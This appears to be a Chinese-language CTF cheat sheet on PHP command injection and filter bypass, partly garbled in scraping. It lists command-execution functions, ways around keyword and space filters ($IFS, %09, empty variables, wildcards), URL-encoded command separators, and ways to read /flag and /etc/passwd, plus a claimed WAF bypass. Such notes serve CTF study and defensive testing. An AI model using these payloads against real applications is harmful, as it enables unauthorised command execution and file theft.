参考: https://blog.csdn.net/qq_44657899/article/details/107676580
常见函数 1 2 3 4 5 6 7 8 system ()passthru ()exec ()shell_exec ()proc_open ()popen ()pcntl_exec ()dl ()
绕过 关键词过滤 双写绕过 ccatat -> cat
大小写绕过 ```cAt``
代替方案 1 2 3 4 5 6 7 8 9 10 11 12 13 more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 sh /flag 2 >%261
转义符
变量拼接 1 a=fl;b=ag.php;cat $IFS$a$b
内联执行 1 2 3 cat `ls ` cat flag.php;cat index.php
编码进制绕过 1 2 3 4 [root~] Y2F0wqAK [root~] hello world
通配符 1 2 3 4 5 6 7 1) 利用正则匹配绕过 [root~] 2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u 绕过 [root~] 备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)
空变量 1 2 3 使用$*和$@ ,$x ,${x} ca$*t ./flag ca$@t ./flag
读文件替代方案 1 2 3 4 5 curl file:///flag strings /flag uniq -c/etc/passwdbash -v /etc/passwd rev /etc/passwd
dir和ls的替代 1 find -- 列出当前目录下的文件以及子目录所有文件
空格过滤
%09(url传递)(cat%09flag.php
)
${IFS}
$IFS$9
<>(cat<>/flag
)
<(cat</flag
)
{cat,flag}
过滤目录分隔符
过滤 | & ; 替代方案 可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号
注入算子
注入字符
URL 编码字符
执行的命令
回车符
enter
%0d
分号
;
%3b
两个都(cmd不行 powershell可以)
换行
\n
%0a
两个都
后台进程
&
%26
两者(通常首先显示第二个输出)
管道
`
`
%7c
和
&&
%26%26
两者(仅当第一次成功时)
或者
`
`
Sub-shell
``
%60%60
两者(仅限 Linux)
Sub-shell
$()
%24%28%29
两者(仅限 Linux)
?>替代最后一个; 在php中可以用 ?>
来代替最后一个 ;
因为php遇到定界符关闭标志时,系统会自动在PHP语句之后加上一个分号。
字符串长度限制 1 2 3 4 5 6 7 8 9 10 11 12 root@kali:~/桌面 root@kali:~/桌面 root@kali:~/桌面 root@kali:~/桌面 root@kali:~/桌面 root@kali:~/桌面 'ca\' 't \' 'fl\' ag flagroot@kali:~/桌面 root@kali:~/桌面 a: 1: a: not found flag{hahaha} a: 6: flag.txt: not found
\
是指换行ls -t
将文件按时间排序输出sh
命令可以从一个文件中读取命令来执行
具体待补充
盲注 还没遇到过,遇到再补充